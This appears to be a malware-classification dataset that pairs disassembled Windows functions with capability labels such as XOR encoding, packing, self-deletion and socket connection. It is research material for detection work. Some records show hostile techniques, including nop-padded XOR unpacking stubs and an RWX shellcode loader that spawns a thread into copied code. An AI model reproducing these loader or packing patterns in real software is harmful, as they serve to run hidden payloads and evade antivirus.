joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43ea34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x43ea30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x43ea30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x40a970
Capabilities:
Access peb ldr_data
Get number of processors
Resolve function by parsing pe exports

Disassembly:
vmaxsd xmm6, xmm3, qword [eax - 0x5b50a9c]
xchg esi, eax
jecxz 0x40a9db

Function at 0x40ae78
Capabilities:
Encode data using xor

Disassembly:
call fcn.0040ad4e
xor ecx, ecx
sub ecx, 0xffffff82
call 0x40ae78
rcr byte [esi - 0x7f], 0x76
push cs
imul esi, dword [esp + ecx*8 + 0x6f], 0xe2fcee83
hlt
Function at 0x4322a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xf0
mov eax, 0x43d991
mov dword [esp], eax
mov dword [esp + 4], 0x43d4c4
mov dword [esp + 8], 0x43d4c0
mov dword [esp + 0xc], 0x43d4bc
mov dword [esp + 0x10], 0x43d4b8
mov dword [esp + 0x14], 0x43d4b4
mov dword [esp + 0x18], 0x43d968
mov dword [esp + 0x1c], 0x43d4b0
mov dword [esp + 0x20], 0x43d4ac
mov dword [esp + 0x24], 0x43d9a0
mov dword [esp + 0x28], 0x43d99c
mov dword [esp + 0x2c], 0x43dcc8
mov dword [esp + 0x30], 0x43e61c
mov dword [esp + 0x34], 0x43d4a8
mov dword [esp + 0x38], 0x43d4a4
mov dword [esp + 0x3c], 0x43d4a0
mov dword [esp + 0x40], str.__.___
mov dword [esp + 0x44], 0x43d490
mov dword [esp + 0x48], 0x43d19c
mov dword [esp + 0x4c], 0x43dac4
mov dword [esp + 0x50], str.___
mov dword [esp + 0x54], 0x43e618
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], 0x43d48c
mov dword [esp + 0x64], 0x43d488
mov dword [esp + 0x68], 0x43d998
mov dword [esp + 0x6c], 0x43d484
mov dword [esp + 0x70], 0x43d1a0
mov dword [esp + 0x74], 0x43d18c
mov dword [esp + 0x78], 0x43d16c
mov dword [esp + 0x7c], 0x43d15c
mov dword [esp + 0x80], 0x43d154
mov dword [esp + 0x84], 0x43d14c
mov dword [esp + 0x88], 0x43d144
mov dword [esp + 0x8c], 0x43d198
mov dword [esp + 0x90], 0x43d480
mov dword [esp + 0x94], 0x43d9a4
mov dword [esp + 0x98], 0x43d190
mov dword [esp + 0x9c], eax
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa8], eax
mov dword [esp + 0xac], eax
mov dword [esp + 0xb0], eax
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], 0x43dacc
mov dword [esp + 0xc0], 0x43d228
mov dword [esp + 0xc4], 0x43d20c
mov dword [esp + 0xc8], str.C13ABDEF
mov dword [esp + 0xcc], str.ZYXWVUTSRQPONMLKJIHG
mov dword [esp + 0xd0], 0x43d250
mov dword [esp + 0xd4], str._:_
mov dword [esp + 0xd8], 0x43d164
mov dword [esp + 0xdc], 0x43d22c
mov dword [esp + 0xe0], 0x43d234
mov dword [esp + 0xe4], 0x43d478
mov dword [esp + 0xe8], 0x43d240
mov dword [esp + 0xec], 0x43d224
cmp cl, 0x3c
jae 0x4324bd
movzx eax, cl
mov eax, dword [esp + eax*4]
add esp, 0xf0
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x31aa3ddd
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x7fad35b5
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x407625
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x407669
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x407638
jmp 0x407669
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x407659
pop esi
pop ebp
ret

Function at 0x4080a1
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x4080d6
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x408100
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x408100
test edi, edi
je 0x4080cd
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4080cd
test edi, edi
je 0x408108
mov eax, edi
jmp 0x4080cf
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x4080cf
int3
Function at 0x40ac79
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestCountZeroes.exe_gMozillaPoisonSize], eax
call fcn.004080a1
pop ecx
mov ecx, dword [sym.TestCountZeroes.exe_gMozillaPoisonSize]
mov dword [sym.TestCountZeroes.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40acb1
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestCountZeroes.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x401840
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x40d5e4]
push ebx
push esi
push edi
test eax, eax
je case.default.0x401870
mov esi, dword [esp + 0x10]
mov dword [0x40d5e4], 0
mov eax, dword [esi + 0x114]
add eax, 0xfffffffb
cmp eax, 3
ja case.default.0x401870
jmp dword [eax*4 + 0x401998]
mov eax, dword [esi + 0x108]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
test eax, eax
jle 0x4018bd
cmp dword [esi + 0x10c], 1
jne 0x4018a2
push 0
push 0
push esi
push 0x4042e0
push 0
push 0
call edi
push 0
push 0
push esi
push 0x403fb0
push 0
push 0
call edi
mov eax, dword [esi + 0x108]
inc ebx
cmp ebx, eax
jl 0x401889
push 0
push 0
push esi
push section..text
push 0
push 0
call edi
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x401984
push 0
push 0
push esi
push 0x4042e0
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x4018e7
push 0
push 0
push esi
push section..text
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x401984
push 0
push 0
push esi
push 0x4040e0
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x401928
push 0
push 0
push esi
push section..text
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
jmp loc.004201f8
push 0
push 0
push esi
push section..text
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret

Function at 0x4019b0
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x40d5e4]
push ebx
push esi
push edi
test eax, eax
je 0x401a5a
mov esi, dword [esp + 0x10]
mov dword [0x40d5e4], 0
mov eax, dword [esi + 0x28c]
sub eax, 0x15
je 0x401a1d
dec eax
jne 0x401a5a
mov eax, dword [esi + 0x288]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x401a4a
push 0
push 0
push esi
push 0x4056c0
push 0
push 0
call ebx
mov eax, dword [esi + 0x288]
inc edi
cmp edi, eax
jl 0x4019ee
push 0
push 0
push esi
push section..text
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x288]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x401a4a
push 0
push 0
push esi
push 0x4055f0
push 0
push 0
call ebx
mov eax, dword [esi + 0x288]
inc edi
cmp edi, eax
jl 0x401a2f
push 0
push 0
push esi
push section..text
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret

Function at 0x402250
Capabilities:
Create process on windows
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
jmp loc.00420130

Function at 0x402640
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x402684
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 8]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
ret
xor al, al
pop esi
ret
Function at 0x4037f0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
jmp loc.0041fc80

Function at 0x4051b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4051ce
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40520f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x631260
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x63126e
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not eax
cmp esi, 8
jb 0x631343
push edi
mov edi, esi
shr edi, 3
movzx ecx, byte [edx]
sub esi, 8
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
movzx ecx, byte [edx + 1]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
movzx ecx, byte [edx + 2]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
movzx ecx, byte [edx + 3]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
movzx ecx, byte [edx + 4]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
movzx ecx, byte [edx + 5]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
movzx ecx, byte [edx + 6]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
movzx ecx, byte [edx + 7]
add edx, 8
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
dec edi
jne 0x631286
pop edi
test esi, esi
je 0x631362
movzx ecx, byte [edx]
lea edx, [edx + 1]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x670da0]
dec esi
jne 0x631347
not eax
pop esi
pop ebp
ret

Function at 0x6470a0
Capabilities:
Reference sql statements

Disassembly:
push esi
mov esi, ecx
call fcn.00639fe0
push 0xb9
push str.Create_TABLE_IF_NOT_EXISTS_FWViolations__t_tid_INTEGER_PRIMARY_KEY_AUTOINCREMENT___t_tDateTime_INTEGER___t_tappid_INTEGER___t_tcatid_INTEGER___t_tpath_TEXT___t_tappname_TEXT__t_tproductname_TEXT__t_t__
lea ecx, [esi + 0x20]
call fcn.00631e40
push 0x6e
push str.Begin_Transaction___t_tCREATE_INDEX_IF_NOT_EXISTS_FWViolationsAppId_ON_FWViolations_appid___t_tCommit_Transaction_
lea ecx, [esi + 0x38]
call fcn.00631e40
cmp dword [esi + 0x1c], 8
lea eax, [esi + 8]
jb 0x6470d4
mov eax, dword [eax]
mov ecx, dword [esi + 4]
push eax
push str.INSERT_INTO__s__DateTime__appid__catid__path__appname__productname__values__1__2__3__4__5__6__
lea eax, [esi + 0x78]
mov edx, dword [ecx]
push eax
push ecx
call dword [edx + 0x24]
mov ecx, dword [esi + 4]
lea eax, [esi + 0x7c]
push str.SELECT_count___FROM__SELECT__FROM_FWViolations_WHERE_appid_0_And_FWViolations.DateTime___strftime___s_now___7_day__GROUP_BY_appid__path_
push eax
push ecx
mov edx, dword [ecx]
call dword [edx + 0x24]
mov ecx, dword [esi + 4]
lea eax, [esi + 0x80]
push str.SELECT_count___as_count__FWViolations.DateTime__appid__catid__appname__path__productname_FROM_FWViolations_WHERE_appid_0_And_FWViolations.DateTime___strftime___s_now___7_day__GROUP_BY_appid__path_ORDER_BY_FWViolations.DateTime_DESC
push eax
push ecx
mov edx, dword [ecx]
call dword [edx + 0x24]
add esp, 0x28
xor eax, eax
pop esi
ret
Function at 0x6477e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push dword [eax + 8]
lea esi, [eax + 0xc]
call fcn.0065c5be
xor edx, edx
xor ecx, ecx
lea edi, [eax - 0xc]
mov ebx, edi
shr ebx, 2
test ebx, ebx
je 0x64781f
mov eax, dword [ecx*4 + 0x66b300]
inc ecx
xor dword [esi + edx*4], eax
xor eax, eax
cmp ecx, 0x80
cmove ecx, eax
inc edx
cmp edx, ebx
jb 0x647804
shl edx, 2
lea eax, [ecx*4]
cmp edx, edi
jae 0x647849
lea ecx, [ecx]
mov cl, byte [eax + 0x66b300]
inc eax
xor byte [edx + esi], cl
xor ecx, ecx
cmp eax, 0x200
cmove eax, ecx
inc edx
cmp edx, edi
jb 0x647830
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x67481e07
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x18ab3196
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x431072
nop
nop
nop
nop
nop
mov ebx, 0x40915c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x63122722
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x431060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
je 0x4310d2
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x480a5687
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4088e7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ebp - 0x354]
push eax
call fcn.0040805f
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408014
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040805f
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408014
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
Function at 0x4014b8
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x416b30
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x4015d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x128
lea eax, [esp + 4]
push esi
push edi
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov edi, ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [0x41bb74]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
jne 0x401617
or al, 1
mov byte [0x41bb74], al
call esi
mov dword [0x41bb70], eax
cmp dword [0x41bb80], 8
jle 0x401655
mov dword [0x41bb80], 0
call esi
mov ecx, dword [0x41bb70]
mov edx, eax
sub edx, ecx
mov dword [0x41bb70], eax
mov dword [esp + 8], edx
fild dword [esp + 8]
fmul dword [0x416b38]
fdivr dword [0x416b34]
fstp dword [0x41bb6c]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push str.VirtualAlloc
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x41b070]
push 0x40
push 0x3000
push ecx
push 0
call eax
mov ecx, dword [0x41b070]
lea esi, [edi + 0x4da90]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, edx
push 0
push eax
and ecx, 3
push eax
push 0
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.worinimahuorong
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x2c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x30]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
pop edi
mov eax, 1
pop esi
add esp, 0x128
ret
Function at 0x401730
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414900
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], esp
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
lea eax, [ebp - 0x3c]
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push str.shibushizheli__zhe_SB_huorong_yeshi_meishui_l
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
lea ecx, [ebp - 0x14]
push 0x418660
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x44
call sub.MSVCRT.dll__CxxThrowException
mov dword [ebp - 0x10], esp
lea edx, [ebp - 0x18]
push 0x418660
push edx
mov byte [ebp - 4], 2
mov dword [ebp - 0x18], 0x44
call sub.MSVCRT.dll__CxxThrowException
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x1c]
push 0x418660
push eax
mov byte [ebp - 4], 4
mov dword [ebp - 0x1c], 0x44
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x401828
ret

Function at 0x405460
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x38
push edi
mov edi, ecx
mov eax, dword [edi + 0x48]
test eax, eax
jne 0x405476
mov al, 1
pop edi
add esp, 0x38
ret 8
push ebx
push ebp
push esi
push 0xd
mov dword [esp + 0x20], 9
xor esi, esi
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x20]
push esi
push esi
push 0x1200
push eax
mov byte [esp + 0x23], 1
call ebx
xor ebp, ebp
mov dword [esp + 0x18], eax
test eax, eax
jle 0x405501
mov edx, dword [edi + 0x20]
lea ecx, [esp + 0x1c]
push ecx
push ebp
push 0x1203
push edx
call ebx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x34]
add esi, eax
mov eax, 1
shl eax, cl
test dword [edi + 0x48], eax
je 0x4054f8
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x4c]
cdq
sub eax, edx
mov edx, esi
sar eax, 1
sub edx, eax
cmp ecx, edx
jle 0x4054f8
add eax, esi
cmp ecx, eax
jge 0x4054f8
mov byte [esp + 0x13], 0
mov eax, dword [esp + 0x18]
inc ebp
cmp ebp, eax
jl 0x4054b1
mov al, byte [esp + 0x13]
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x38
ret 8